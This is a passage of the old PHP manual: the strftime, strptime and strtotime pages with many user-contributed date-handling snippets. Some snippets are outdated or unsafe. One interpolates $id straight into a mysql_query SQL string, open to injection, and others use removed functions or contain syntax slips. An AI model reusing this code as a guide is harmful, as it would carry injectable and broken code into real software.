Example: If one has worked from 2009-03-16 11:33:54 to 2009-03-16 12:01:54 then he has worked X hours,minutes and seconds. I tried to find that X. And so - one solution would be:
<?php
$start_date = strtotime("2009-03-16 11:33:54"); //start date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$end_date = strtotime("2009-03-16 12:01:54"); //end date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$ajavahe = $end_date - $start_date;
$time_between = gmstrftime('%Hh %Mm %Ss', $ajavahe); //gmstrftime() deals with different timezones correctly. (If in example you would be situated in Estonia and you would use strftime() you get wrong answer off by 2 hrs, because timezone is GMT+2 - with gmstrftime() comes right answer.)

echo 'You have worked: '.$time_between;
?>
Hope that this one makes someones life easier :D
lamb dot dan at gmail dot com 04-Dec-2008 10:37
<?php
/*
*    This function figures out what fiscal year a specified date is in.
*    $inputDate - the date you wish to find the fiscal year for. (12/4/08)
*    $fyStartDate - the month and day your fiscal year starts. (7/1)
*    $fyEndDate - the month and day your fiscal year ends. (6/30)
*    $fy - returns the correct fiscal year
*/
function calculateFiscalYearForDate($inputDate, $fyStart, $fyEnd){
    $date = strtotime($inputDate);
    $inputyear = strftime('%Y',$date);

    $fystartdate = strtotime($fyStart.$inputyear);
    $fyenddate = strtotime($fyEnd.$inputyear);

    if($date < $fyenddate){
        $fy = intval($inputyear);
    }else{
        $fy = intval(intval($inputyear) + 1);
    }

    return $fy;

}

// my fiscal year starts on July,1 and ends on June 30, so...
echo calculateFiscalYearForDate("5/15/08","7/1","6/30");
// returns 2008

echo calculateFiscalYearForDate("12/1/08","7/1","6/30");
// returns 2009
?>
khaled dot ataia at gmail dot com 05-Nov-2008 06:24
for Arabic

<?php
setlocale(LC_ALL,'ar');
echo strftime('%A %d %B %Y');
?>
eljaunis at gmail dot com 22-Oct-2008 03:33
This is what worked in my case:

<?php
    setlocale(LC_ALL, 'es_ES').': ';
    echo iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));
    ?>

it displays: miércoles 22 de octubre de 2008
buana95 at yahoo dot com 21-Aug-2008 08:51
For windows user:

If you unsuccessfully change date/time format to your locale country using xx_XX format, try using XXX format or ISO-639 country codes format.

See complete list for ISO-639 here: http://www.w3.org/WAI/ER/IG/ert/iso639.htm

For example:

<?php
setlocale(LC_ALL, 'IND');
echo strftime("Today in Indonesia is %A");
?>
Josue R. 08-Mar-2008 07:36
Here's a simple version for date formating i use between displaying in HTML and converting back to MYSQL format:

<?php
function format_date($original='', $format="%m/%d/%Y") {
    $format = ($format=='date' ? "%m-%d-%Y" : $format);
    $format = ($format=='datetime' ? "%m-%d-%Y %H:%M:%S" : $format);
    $format = ($format=='mysql-date' ? "%Y-%m-%d" : $format);
    $format = ($format=='mysql-datetime' ? "%Y-%m-%d %H:%M:%S" : $format);
    return (!empty($original) ? strftime($format, strtotime($original)) : "" );
}
?>

example (in HTML or webapp):
[grab from database]...
$dbase_stored_date = "2007-03-15";
$display_html_date = format_date($dbase_stored_date);
... displays as "03/15/2007"

example (saving form via on POST/GET):
$update_date = format_date($_POST['display_html_date'], 'mysql-date');
// converts back to '2007-03-15'
.... [your mysql update here]

Don't forget to sanitize your POST/GET's   =)
jerome dot place at free dot fr 07-Nov-2007 12:55
Here is a function to convert dates before 1970, very useful if you are still using php 4 (it is supported in php5) :

<?php
# convert a date to special format
# $date is like 2000-01-01 00:00:00
# $format : refer to strftime function
function convert_date($date,$format) {
    if($date=='0000-00-00 00:00:00' OR $date=='0000-00-00' OR $date=='' OR $date==NULL) {
        return '';
    }
    else {
        $year=substr($date,0,4);
        if(phpversion() < 5.0 AND $year < 1970) {

            $new_date=substr_replace($date,'1980',0,4); # we replace the year by a year after 1970
            $new_format=eregi_replace('%a|%A|%u','',$format); # we remove days information from the format because they would be wrong
            $new_date=strftime($new_format,strtotime($new_date)); # we convert the date
            $new_date=eregi_replace('1980',$year,$new_date); # we put back the real year
            return $new_date;
        }
        else {
            return strftime($format,strtotime($date));
        }
    }
}
?>
nielsvan den berge at hotmail dot com 31-Aug-2007 06:43
A small function to get the first weekday of the month.
For example the first monday of the month, or the first friday, etc.

<?php
  /**
   *
   *  Gets the first weekday of that month and year
   *
   *  @param  int   The day of the week (0 = sunday, 1 = monday ... , 6 = saturday)
   *  @param  int   The month (if false use the current month)
   *  @param  int   The year (if false use the current year)
   *
   *  @return int   The timestamp of the first day of that month
   *
   **/
  function get_first_day($day_number=1, $month=false, $year=false)
  {
    $month  = ($month === false) ? strftime("%m"): $month;
    $year   = ($year === false) ? strftime("%Y"): $year;

    $first_day = 1 + ((7+$day_number - strftime("%w", mktime(0,0,0,$month, 1, $year)))%7);

    return mktime(0,0,0,$month, $first_day, $year);
  }

// this will output the first wednesday of january 2007 (wed 03-01-2007)
echo strftime("%a %d-%m-%Y", get_first_day(3, 1, 2007));
?>
ma 28-Aug-2007 05:58
note, that for some languages you MUST set LC_ALL instead of LC_TIME.

note that you further have to explicitly define your output-encoding (default is ISO-8859-1 [which makes problems for some languages])!

at least i expirienced this behaviour on a german WinXP-PHP4 environment:

<?php

// does not work - gives question marks:
setlocale(LC_TIME, 'RUS'); // ISO Alpha-3 is supported by xp
echo strftime('%A', time());

?>

<?php

// DOES work:
header('Content-Type: text/html; charset=UTF-8'); // you could also use another charset here if iconv isn't installed on your system.

echo setlocale(LC_ALL, 'RUS').': ';
echo iconv('windows-1251', 'UTF-8', strftime('%A', time()))."\n";

?>
ben dot holland at thirdlight dot com 21-Jun-2007 05:03
This little function allows you to provide a reasonably human readable string and convert to a timestamp - see example in comments below.

I find it far more useful than having to remember all the '%' modifiers. Am also well aware of its failings but it works in a lot of the real life situations I've come across.

<?php
function AmazingStringFromTime($str, $nTimestamp = null)
{
    // This function reads a human readable string representation of dates. e.g.
    // DD MM YYYY => 01 07 1978
    // DDD D MMM YY => Mon 1 Jul 78

    $arrPairs = array(
    "DDDD"  => "%A",
    "DDD"   => "%a",
    "DD"    => "%d",
    "D"     => "%e", // has leading space: ' 1', ' 2', etc for single digit days
    "MMMM"  => "%B",
    "MMM"   => "%b",
    "MM"    => "%m",
    "YYYY"  => "%Y",
    "YY"    => "%y",
    "HH"    => "%H",
    "hh"    => "%I",
    "mm"    => "%M",
    "ss"    => "%S",
    );

    $str = str_replace(array_keys($arrPairs), array_values($arrPairs), $str);
    return strftime($str, $nTimestamp);
}
?>
th1nk3r at gmail dot DELETETHIS dot com 20-Jan-2007 09:35
Function strftime() use the locales installed in your system (linux).

If you are like me and only leave in the system the locales you use normally (en_US and your own language locale, like es_ES), you'll only be able to use the locales installed. If your application is translated to other languages, you need these locales too.

The name of the locale in your system is important too. This can be a problem when you want to distribute the app.

If you have this locales in your system:
en_US/ISO-8859-1
en_US.UTF-8/UTF-8
es_ES/ISO-8859-1
es_ES@euro/ISO-8859-15
es_ES.UTF-8/UTF-8
es_ES@euro/UTF-8

and use setlocale('es_ES'), the result will use the iso-8859-1 charset even if you have all your system, files and configuration options in UTF-8. To receive content in UTF-8, in this example, you need to use setlocale('es_ES.UTF-8') or setlocale('es_ES.UTF-8@UTF-8').

The definition of locales can change from one system to another, and so the charset from the results.
denis at spiralsolutions dot com 02-Nov-2006 12:07
(in addition to Andy's post)
To get a RFC 2822 date (used in RSS) of the current local time :

echo strftime ("%a, %d %b %Y %H:%M:%S %z") ;

Note: option %z / %Z - work different on Windows platform, for example
output of this code line can be:
Thu, 02 Nov 2006 09:54:59 Jerusalem Standard Time (on Windows)
Thu, 02 Nov 2006 09:54:59 +0200                   (on Linux)

[red. It is much smarter to use date(DATE_RSS); here]
Jon Keating 17-Jan-2006 05:49
Under windows if you are using Japanese version, you must use the following code:

setlocale(LC_ALL, "Japanese_Japan.20932") for EUC
setlocale(LC_ALL, "Japanese_Japan.932") for SJIS

I found the following page that helped me with this issue:
http://moodle.org/mod/forum/discuss.php?d=8329
jw at jwscripts dot com 29-May-2005 06:32
The following function implements the conversion specifiers which are not supported on Win32 platforms:

(Note: the specifiers %V, %G and %g can be implemented using other functions described in this section)

<?php

function strftime_win32($format, $ts = null) {
    if (!$ts) $ts = time();

    $mapping = array(
        '%C' => sprintf("%02d", date("Y", $ts) / 100),
        '%D' => '%m/%d/%y',
        '%e' => sprintf("%' 2d", date("j", $ts)),
        '%h' => '%b',
        '%n' => "\n",
        '%r' => date("h:i:s", $ts) . " %p",
        '%R' => date("H:i", $ts),
        '%t' => "\t",
        '%T' => '%H:%M:%S',
        '%u' => ($w = date("w", $ts)) ? $w : 7
    );
    $format = str_replace(
        array_keys($mapping),
        array_values($mapping),
        $format
    );

    return strftime($format, $ts);
}

?>
neo at gothic-chat d0t de 24-Jun-2004 11:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().
vminarik at ips-ag dot cz 10-Sep-2001 06:02
Note that setting LC_TIME is not enough for some locales under Windows, e.g. Czech, because there are some characters not contained in default (US) character set like '�' (c with hook), '�' (r with hook).

If you run Apache as regular application and have set your locale to Czech (ControlPanel/RegionalOptions), there is no problem and 'September' is correctly translated as 'z���', 'Thursday' as '�tvrtek'.
But if you run Apache as service, you get 'z�r�', and 'ctvrtek'.
To get things work as you expect you must set LC_CTYPE beside LC_TIME, or set LC_ALL.

<?php
  $locale = 'Czech_Czech.1250';
  $res = setlocale( 'LC_CTYPE', $locale); //important
  $res = setlocale( 'LC_TIME', $locale);
  echo strftime( '%A %m. %B %Y', mktime( 0,0,0,9,6,2001));
?>
zmajeed at cup dot hp dot com 22-Jul-1999 03:14
Locale names are OS dependent. HP-UX 11.0, for example, has three
German locales, de_DE.roman8, de_DE.iso88591, and
de_DE.iso885915@euro.
The command locale -a will display all available locales on a system.

So on HP-UX, to get German dates:

<?php
setlocale("LC_TIME", "de_DE.roman8");
print(strftime("%A\n"));
?>
mktime
strptime
Date/Time Functions


Parse a time/date generated with strftime

strftime
strtotime
Date/Time Functions
PHP Manual

strptime

(PHP 5 >= 5.1.0)

strptime — Parse a time/date generated with strftime()

Description

array strptime ( string $date , string $format )

strptime() returns an array with the date parsed, or FALSE on error.

Month and weekday names and other language dependent strings respect the current locale set with setlocale() (LC_TIME).

Parameters

date (string)

The string to parse (e.g. returned from strftime()).

format (string)

The format used in date (e.g. the same as used in strftime()). Note that some of the format options available to strftime() may not have any effect within strptime(); the exact subset that are supported will vary based on the operating system and C library in use.

For more information about the format options, read the strftime() page.

Return Values

Returns an array or FALSE on failure.

The following parameters are returned in the array
parameters | Description
"tm_sec" | Seconds after the minute (0-61)
"tm_min" | Minutes after the hour (0-59)
"tm_hour" | Hour since midnight (0-23)
"tm_mday" | Day of the month (1-31)
"tm_mon" | Months since January (0-11)
"tm_year" | Years since 1900
"tm_wday" | Days since Sunday (0-6)
"tm_yday" | Days since January 1 (0-365)
"unparsed" | the date part which was not recognized using the specified format

Examples

Example #1 strptime() example

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

The above example will output something similar to:

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

Notes

Note: This function is not implemented on Windows platforms.

Note:

Internally, this function calls the strptime() function provided by the system's C library. This function can exhibit noticeably different behaviour across different operating systems. The use of date_parse_from_format(), which does not suffer from these issues, is recommended on PHP 5.3.0 and later.

Note:

"tm_sec" includes any leap seconds (currently upto 2 a year). For more information on leap seconds, see the » Wikipedia article on leap seconds.

Note:

Prior to PHP 5.2.0, this function could return undefined behaviour. Notably, the "tm_sec", "tm_min" and "tm_hour" entries would return undefined values.

See Also

  • checkdate() - Validate a Gregorian date
  • strftime() - Format a local time/date according to locale settings
  • date_parse_from_format() - Get info about given date formatted according to the specified format
  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format

User Contributed Notes

131 21-Apr-2011 12:17
Another portage for windows (from ex/yks toolkit)
<?php
//  public static
function strptime($date, $format) {
    $masks = array(
      '%d' => '(?P<d>[0-9]{2})',
      '%m' => '(?P<m>[0-9]{2})',
      '%Y' => '(?P<Y>[0-9]{4})',
      '%H' => '(?P<H>[0-9]{2})',
      '%M' => '(?P<M>[0-9]{2})',
      '%S' => '(?P<S>[0-9]{2})',
     // usw..
    );

    $rexep = "#".strtr(preg_quote($format), $masks)."#";
    if(!preg_match($rexep, $date, $out))
      return false;

    $ret = array(
      "tm_sec"  => (int) $out['S'],
      "tm_min"  => (int) $out['M'],
      "tm_hour" => (int) $out['H'],
      "tm_mday" => (int) $out['d'],
      "tm_mon"  => $out['m']?$out['m']-1:0,
      "tm_year" => $out['Y'] > 1900 ? $out['Y'] - 1900 : 0,
    );
    return $ret;
  }
?>
Gravis 03-Apr-2009 05:33
If you are just looking to switch an existing time format into a mysql compatible format(like YYYYMMDDHHMMSS.uuuuuu) you should use STR_TO_DATE.
see: http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html

However, if you have an old version of mysql (before 4.1), you may want to consider using a regex.  The example below doesnt have seconds because they arent used often if you are ripping data from a web page.  You will probably have to customize this to your needs.

==code== // for 24 hour times
<?php
  $before = "12/15/2005 15:47";\
  $after = preg_replace("/([0-9]{2})\/([0-9]{2})\/([0-9]{4}) ([0-9]{2}):([0-9]{2})/", "$3$1$2$4$5", $before)."00.000000";

  echo "$before\n$after\n";
?>

==output==
  12/15/2005 15:47
  20051215154700.000000

.

If you are unlucky, you will need to be converting to the 24 hour format as well.
==code== // for 12 hour AM/PM times
<?php
  $before = "12/15/2005 03:47PM";
// note: you can use an anonymous function instead IF you have php 5
  function convert_time($m) { if($m[6]=="PM") { $m[4]+=12; } return $m[3].$m[1].$m[2].$m[4].$m[5]."00.000000"; }
  $after = preg_replace_callback("/([0-9]{2})\/([0-9]{2})\/([0-9]{4}) ([0-9]{2}):([0-9]{2})(AM|PM)/", "convert_time", $before);

  echo "$before\n$after\n";
?>

==output==
  12/15/2005 03:47PM
  20051215154700.000000
Quietust 27-Feb-2009 08:38
On some systems, particularly those of BSD lineage (such as FreeBSD and MacOS X), the tm_wday and tm_yday fields are only initialized if requested explicitly (that is, if the %a/%A/%u/%w and %j formats are specified), while others such as Linux and Solaris will calculate them automatically.
Altar 2010 24-Oct-2008 01:45
If you want to parse a date or a /time in windows env, i re-write strptime function for windows.

I use the same param and i return the same think that the original one.
I use sscanf to parde the string.
Only some format can be parsed (%S, %M, %H, %d, %m, %Y)

See this page (because the function is too big for this notes)
http://sauron.lionel.free.fr/?page=php_lib_strptime

preview :
<?php
/**
 * Parse a time/date generated with strftime().
 *
 * This function is the same as the original one defined by PHP (Linux/Unix only),
 *  but now you can use it on Windows too.
 *  Limitation : Only this format can be parsed %S, %M, %H, %d, %m, %Y
 *
 * @author Lionel SAURON
 * @version 1.0
 * @public
 *
 * @param $sDate(string)    The string to parse (e.g. returned from strftime()).
 * @param $sFormat(string)  The format used in date  (e.g. the same as used in strftime()).
 * @return (array)          Returns an array with the <code>$sDate</code> parsed, or <code>false</code> on error.
 */
if(function_exists("strptime") == false)
{
    function strptime($sDate, $sFormat)
    {
        $aResult = array
        (
            'tm_sec'   => 0,
            'tm_min'   => 0,
            'tm_hour'  => 0,
            'tm_mday'  => 1,
            'tm_mon'   => 0,
            'tm_year'  => 0,
            'tm_wday'  => 0,
            'tm_yday'  => 0,
            'unparsed' => $sDate,
        );

        while($sFormat != "")
        {
            // ===== Search a %x element, Check the static string before the %x =====
            $nIdxFound = strpos($sFormat, '%');
            if($nIdxFound === false)
            {

                // There is no more format. Check the last static string.
                $aResult['unparsed'] = ($sFormat == $sDate) ? "" : $sDate;
                break;
            }

        .....
        .....
        .....
        .....

        // ===== Create the other value of the result array =====
        $nParsedDateTimestamp = mktime($aResult['tm_hour'], $aResult['tm_min'], $aResult['tm_sec'],
                                $aResult['tm_mon'] + 1, $aResult['tm_mday'], $aResult['tm_year'] + 1900);

        // Before PHP 5.1 return -1 when error
        if(($nParsedDateTimestamp === false)
        ||($nParsedDateTimestamp === -1)) return false;

        $aResult['tm_wday'] = (int) strftime("%w", $nParsedDateTimestamp); // Days since Sunday (0-6)
        $aResult['tm_yday'] = (strftime("%j", $nParsedDateTimestamp) - 1); // Days since January 1 (0-365)

        return $aResult;
    } // END of function

} // END if(function_exists("strptime") == false)
?>
firefox3107 at gmail dot com 23-Mar-2008 06:44
For Windows user! It's rather the same as strptime!
It uses the previous function: but call strToTime($date, $format) to strToDate($date, $format) because this name is forgiven!

<?php
function strToDateTime($date, $format) {
    if(!($date = strToDate($date, $format))) return;
    $dateTime = array('sec' => 0, 'min' => 0, 'hour' => 0, 'day' => 0, 'mon' => 0, 'year' => 0, 'timestamp' => 0);
    foreach($date as $key => $val) {
        switch($key) {
            case 'd':
            case 'j': $dateTime['day'] = intval($val); break;
            case 'D': $dateTime['day'] = intval(date('j', $val)); break;

            case 'm':
            case 'n': $dateTime['mon'] = intval($val); break;
            case 'M': $dateTime['mon'] = intval(date('n', $val)); break;

            case 'Y': $dateTime['year'] = intval($val); break;
            case 'y': $dateTime['year'] = intval($val)+2000; break;

            case 'G':
            case 'g':
            case 'H':
            case 'h': $dateTime['hour'] = intval($val); break;

            case 'i': $dateTime['min'] = intval($val); break;

            case 's': $dateTime['sec'] = intval($val); break;
        }
    }
    $dateTime['timestamp'] = mktime($dateTime['hour'], $dateTime['min'], $dateTime['sec'], $dateTime['mon'], $dateTime['day'], $dateTime['year']);
    return $dateTime;
}
?>
P. 30-Jan-2008 04:19
If strptime() fails to match all of the format string and therefore an error occurred the function returns NULL.
chad 0x40 herballure 0x2e com 15-Jun-2007 07:00
The result of strptime() is not affected by the current timezone setting, even though strftime() is. Tested in PHP 5.1.6.
svenr at selfhtml dot org 23-Nov-2006 01:44
If you need strptime but are restricted to a php version which does not support it (windows or before PHP 5), note that MySQL since Version 4.1.1 offers (almost?) the same functionality with the STR_TO_DATE function.

See http://dev.mysql.com/doc/refman/4.1/en/date-and-time-functions.html
DT <pwadas at gazeta dot pl> 10-Aug-2006 12:55
<?php
//This turns non-standard but often used "datetime" string
//like '20060810084251' into nice formatted date
//'Thursday, 10 August 2006 08:42:51 CEST'
//note, that strptime returns day of year counting from 0, so
//you need to put 1 as month number to get appropriate
//month for the daycount. for 2006 strptime for unknown
//reason returns 106, so I simply add 1900

$informat = '%Y%m%d%H%M%S';
$outformat =  '%A, %d %B %Y %T %Z';
$ftime = strptime("20060810084251",$informat);
$unxTimestamp = mktime(
                    $ftime['tm_hour'],
                    $ftime['tm_min'],
                    $ftime['tm_sec'],
                    1 ,
                    $ftime['tm_yday'] + 1,
                   $ftime['tm_year'] + 1900
                 );
//setlocale(LC_TIME,'pl_PL');
echo strftime($outformat , $unxTimestamp );
?>
jojyjob at gmail dot com 13-May-2006 12:18
/***Finding the days of a week ***/

<?php

$out = pre();
$outpre=nextweek();
$td=date("Y-m-d");
$result = array_reverse($outpre);
//print_r($result);
array_push($result,$td);
$newarray = array_merge($result,$out);

  foreach($newarray as $date1){
    echo $date1;
    echo "<br>";
 }

//print_r($out);
//print_r($newarray);

function pre()
{
$monP=0;
$tueP=1;
$wedP=2;
$thuP=3;
$friP=4;
$satP=5;
$sunP=6;

$td=date("Y-m-d");
//echo $td;
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monP;
       break;
   case "Tuesday":
       $rep=$tueP;
       break;
   case "Wednesday":
       $rep=$wedP;
       break;
   case "Thursday":
       $rep=$thuP;
       break;
   case "Friday":
       $rep=$friP;
       break;
   case "Saturday":
       $rep=$satP;
       break;
   case "Sunday":
       $rep=$sunP;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */
$precon=future_date($datstart,$rep,$nod,$nom,$noy);
return $precon;
}
function future_date($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd - $nod;
    $fmo=$datmm - $nom;
    $fyr=$datyy -$noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

function nextweek()
{
$monN=6;
$tueN=5;
$wedN=4;
$thuN=3;
$friN=2;
$satN=1;
$sunN=0;

$td=date("Y-m-d");
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monN;
       break;
   case "Tuesday":
       $rep=$tueN;
       break;
   case "Wednesday":
       $rep=$wedN;
       break;
   case "Thursday":
       $rep=$thuN;
       break;
   case "Friday":
       $rep=$friN;
       break;
   case "Saturday":
       $rep=$satN;
       break;
   case "Sunday":
       $rep=$sunN;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */

$con = future_date1($datstart,$rep,$nod,$nom,$noy);
return $con;
}

function future_date1($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd + $nod;
    $fmo=$datmm + $nom;
    $fyr=$datyy + $noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

?>
Malte Starostik 27-Mar-2006 10:45
It says "Parse a time/date generated with strftime()" but that's not entirely correct -- While strptime("2006131", "%Y%W%u") works as expected, strptime("2006131", "%G%V%u") returns false instead of reversing the equivalent - and unambiguous - strftime() usage.  I suspect that's because glibc doesn't support that.  Anyway, this docu page fails to mention that apparently not all format components supported by strftime() can be used with strptime().
strftime
strtotime
Date/Time Functions


Parse about any English textual datetime description into a Unix timestamp

strptime
time
Date/Time Functions
PHP Manual

strtotime

(PHP 4, PHP 5)

strtotime — Parse about any English textual datetime description into a Unix timestamp

Description

int strtotime ( string $time [, int $now = time() ] )

The function expects to be given a string containing an English date format and will try to parse that format into a Unix timestamp (the number of seconds since January 1 1970 00:00:00 UTC), relative to the timestamp given in now, or the current time if now is not supplied.

Each parameter of this function uses the default time zone unless a time zone is specified in that parameter. Be careful not to use different time zones in each parameter unless that is intended. See date_default_timezone_get() on the various ways to define the default time zone.

Parameters

time

A date/time string. Valid formats are explained in Date and Time Formats.

now

The timestamp which is used as a base for the calculation of relative dates.

Return Values

Returns a timestamp on success, FALSE otherwise. Previous to PHP 5.1.0, this function would return -1 on failure.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.3.0 | Prior to PHP 5.3.0, 24:00 was not a valid format and strtotime() returned FALSE.
5.2.7 | In PHP 5 prior to 5.2.7, requesting a given occurrence of a given weekday in a month where that weekday was the first day of the month would incorrectly add one week to the returned timestamp. This has been corrected in 5.2.7 and later versions.
5.1.0 | Now returns FALSE on failure, instead of -1.
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.
5.0.2 | In PHP 5 up to 5.0.2, "now" and other relative times are wrongly computed from today's midnight. This differs from other versions where it is correctly computed from current time.
5.0.0 | Microseconds began to be allowed, but they are ignored.
4.4.0 | In PHP versions prior to 4.4.0, "next" is incorrectly computed as +2. A typical solution to this is to use "+1".

Examples

Example #1 A strtotime() example

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

Example #2 Checking for failure

<?php
$str = 'Not Good';

// previous to PHP 5.1.0 you would compare with -1, instead of false
if (($timestamp = strtotime($str)) === false) {
    echo "The string ($str) is bogus";
} else {
    echo "$str == " . date('l dS \o\f F Y h:i:s A', $timestamp);
}
?>

Notes

Note:

If the number of the year is specified in a two digit format, the values between 00-69 are mapped to 2000-2069 and 70-99 to 1970-1999. See the notes below for possible differences on 32bit systems (possible dates might end on 2038-01-19 03:14:07).

Note:

The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 UTC to Tue, 19 Jan 2038 03:14:07 UTC. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer.) Additionally, not all platforms support negative timestamps, therefore your date range may be limited to no earlier than the Unix epoch. This means that e.g. dates prior to Jan 1, 1970 will not work on Windows, some Linux distributions, and a few other operating systems. PHP 5.1.0 and newer versions overcome this limitation though.

For 64-bit versions of PHP, the valid range of a timestamp is effectively infinite, as 64 bits can represent approximately 293 billion years in either direction.

Note:

Dates in the m/d/y or d-m-y formats are disambiguated by looking at the separator between the various components: if the separator is a slash (/), then the American m/d/y is assumed; whereas if the separator is a dash (-) or a dot (.), then the European d-m-y format is assumed.

To avoid potential ambiguity, it's best to use ISO 8601 (YYYY-MM-DD) dates or DateTime::createFromFormat() when possible.

Note:

Using this function for mathematical operations is not advisable. It is better to use DateTime::add() and DateTime::sub() in PHP 5.3 and later, or DateTime::modify() in PHP 5.2.

See Also

  • Date and Time Formats
  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • checkdate() - Validate a Gregorian date
  • strptime() - Parse a time/date generated with strftime

User Contributed Notes

jdiamond at taoti dot com 09-Nov-2011 09:34
To avoid frustrating confusion I recommend always calling
date_default_timezone_set('UTC') before using strtotime().

Because the UNIX Epoch is always in UTC; you will most likely output the wrong time if you do not do this.

Cheers
silveraxe at gmail dot com 11-Oct-2011 02:01
This date is interpreted as American date (MM/DD/YYYY):
$date = "06/10/2011 14:28"; // Oct 10, 2011

This date is interpreted as European date (DD/MM/YYYY):
$otherDate = "06-10-2011 14:28"; // Jun 10, 2011

That's why you see those differences.
besluitloos at gmail dot com 05-Oct-2011 08:28
I just found out PHP thinks slashes in date-formats aren't very european:
(I guess this is not a bug, just the way it works. But correct me if I'm wrong.)
<?php

    $date = "06/10/2011 14:28"; // 6 october 2011 2:28 pm
    $otherDate = "06-10-2011 14:28"; // 6 october 2011 2:28 pm

    echo $stamp = strtotime($date) . "<br />"; // outputs 1307708880
    echo $otherStamp = strtotime($otherDate) . "<br />"; // outputs 1317904080

    echo date("d-m", $stamp); // outputs 10-06
    echo date("d-m", $otherStamp); // outputs 06-10

?>
hushuilong at gmail dot com 31-Aug-2011 02:37
There is a bug when around a month change.
The bug url: https://bugs.php.net/bug.php?id=27793

To work around this ,check the method below :

Pass the timestamp of the first second on the first day in current month to strtotime the second parameter.

<?php
date_default_timezone_set('Asia/Shanghai');

$first_day_of_month = date('Y-m',time()) . '-01 00:00:01';
$t = strtotime($first_day_of_month);
print_r(array(
            date('Y-m',$t),
            date('Y-m',strtotime('- 1 month',$t)),
            date('Y-m',strtotime('- 2 month',$t)),
));
?>
Michael Muryn (MickoZ) 10-Aug-2011 10:54
This comment apply to PHP5+

We can now do thing like this with strtotime:
<?php
$weekMondayTime = strtotime('Monday this week');
?>
However this works based on a week starting Sunday.  I do not know if we can tweak this PHP behavior, anyone know?

If you want the timestamp of the start of the ISO Week (i.e. on Monday) as defined by ISO 8601, you can use this one liner:
<?php
$isoWeekStartTime = strtotime(date('o-\\WW')); // {isoYear}-W{isoWeekNumber}
?>

You can also find out the start of week of any time and format it into an ISO date with another one liner like this:
<?php
$isoWeekStartDate = date('Y-m-d', strtotime(date('o-\\WW', $time)));
?>

For more information about ISO-8601 and ISO week date:
http://en.wikipedia.org/wiki/ISO_8601#Week_dates
http://en.wikipedia.org/wiki/ISO_week_date
ei7024 at wayne dot edu 25-Jul-2011 06:57
This is the solution to the problems with date below 1970. Below code help the date to show up in format such as MM/DD/YYYY. It can be tailored to fit any format.

This works if the database stores the dates in "DATE" format.

<?php

$query = "SELECT emp_fn,emp_ln, emp_dob FROM requests WHERE id=$id;";
$result = mysql_query($query,$DBConn);
$row = mysql_fetch_array($result);

//TESTING BELOW 1970 Date of Birth

$dobcheck = strtotime($row['emp_dob']);

//NOTE: echo $dobcheck on your system to see if you get negative values for date below 1970

if ($dobcheck <= 0)
    {
        $date = $row['emp_dob'];
        $date = explode('-', $date);
        $Y = $date[0];
        $M = $date[1];
        $D = $date[2];
        $dobshow = $M."/".$D."/".$Y;        //echos mm/dd/YYYY format for dates below 1970.
    } else {
        $dobshow = date("m/d/Y",strtotime($row['emp_dob']));
    }

//ENDTESTING

?>
lazzich 15-Jul-2011 06:09
Calculate the time that past since an event happened:

<?php
function time_ago($date,$time) {
  $days = abs(ceil((strtotime($date)-strtotime("now"))/86400));
    if ($days > 0)  $timepast = $days." days";
    if ($days == 1)  $timepast = $days." day";
  $hours = abs(ceil((strtotime($time)-strtotime("now"))/3600));
    if ($days == 0) $timepast = "about ".$hours." hours";
    if ($hours == 1) $timepast = "about ".$hours." hour";
  $minutes = abs(ceil((strtotime($time)-strtotime("now"))/60))-($hours*60);
    if ($hours == 0) $timepast = $minutes." minutes";
